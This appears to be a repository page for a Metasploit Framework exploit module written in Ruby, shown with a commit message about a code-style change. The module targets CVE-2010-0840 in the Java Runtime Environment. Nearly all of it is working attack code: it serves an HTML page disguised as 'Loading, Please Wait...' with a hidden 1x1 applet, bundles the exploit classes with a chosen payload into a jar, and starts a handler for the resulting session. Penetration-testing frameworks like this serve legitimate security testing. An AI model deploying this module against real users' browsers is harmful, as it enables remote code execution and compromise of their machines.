Tod Beardsley
c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
120 lines
3.4 KiB
Ruby
120 lines
3.4 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
# Superceded by java_atomicreferencearray
|
|
#include Msf::Exploit::Remote::BrowserAutopwn
|
|
#autopwn_info({ :javascript => false })
|
|
|
|
def initialize( info = {} )
|
|
|
|
super( update_info( info,
|
|
'Name' => 'Java Statement.invoke() Trusted Method Chain Privilege Escalation',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in Java Runtime Environment
|
|
that allows an untrusted method to run in a privileged context. The
|
|
vulnerability affects version 6 prior to update 19 and version 5
|
|
prior to update 23.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Sami Koivu', # Discovery
|
|
'Matthias Kaiser', # PoC
|
|
'egypt' # metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2010-0840' ],
|
|
[ 'OSVDB', '63483' ],
|
|
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],
|
|
],
|
|
'Platform' => %w{ java linux win },
|
|
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
|
|
'Targets' =>
|
|
[
|
|
[ 'Generic (Java Payload)',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
}
|
|
],
|
|
[ 'Windows Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win'
|
|
}
|
|
],
|
|
[ 'Linux x86',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux'
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Mar 31 2010'
|
|
))
|
|
end
|
|
|
|
|
|
def on_request_uri( cli, request )
|
|
if not request.uri.match(/\.jar$/i)
|
|
if not request.uri.match(/\/$/)
|
|
send_redirect(cli, get_resource() + '/', '')
|
|
return
|
|
end
|
|
|
|
print_status("#{self.name} handling request")
|
|
|
|
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
|
|
return
|
|
end
|
|
|
|
paths = [
|
|
[ "vuln", "Exploit.class" ],
|
|
[ "vuln", "Exploit$1.class" ],
|
|
[ "vuln", "Link.class" ],
|
|
]
|
|
|
|
p = regenerate_payload(cli)
|
|
|
|
jar = p.encoded_jar
|
|
paths.each do |path|
|
|
1.upto(path.length - 1) do |idx|
|
|
full = path[0,idx].join("/") + "/"
|
|
if !(jar.entries.map{|e|e.name}.include?(full))
|
|
jar.add_file(full, '')
|
|
end
|
|
end
|
|
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-0840", path ), "rb")
|
|
data = fd.read(fd.stat.size)
|
|
jar.add_file(path.join("/"), data)
|
|
fd.close
|
|
end
|
|
|
|
print_status( "Sending Applet.jar" )
|
|
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
|
|
|
|
handler( cli )
|
|
end
|
|
|
|
def generate_html
|
|
html = "<html><head><title>Loading, Please Wait...</title></head>"
|
|
html += "<body><center><p>Loading, Please Wait...</p></center>"
|
|
html += "<applet archive=\"Exploit.jar\" code=\"vuln.Exploit.class\" width=\"1\" height=\"1\">"
|
|
html += "</applet></body></html>"
|
|
return html
|
|
end
|
|
|
|
end
|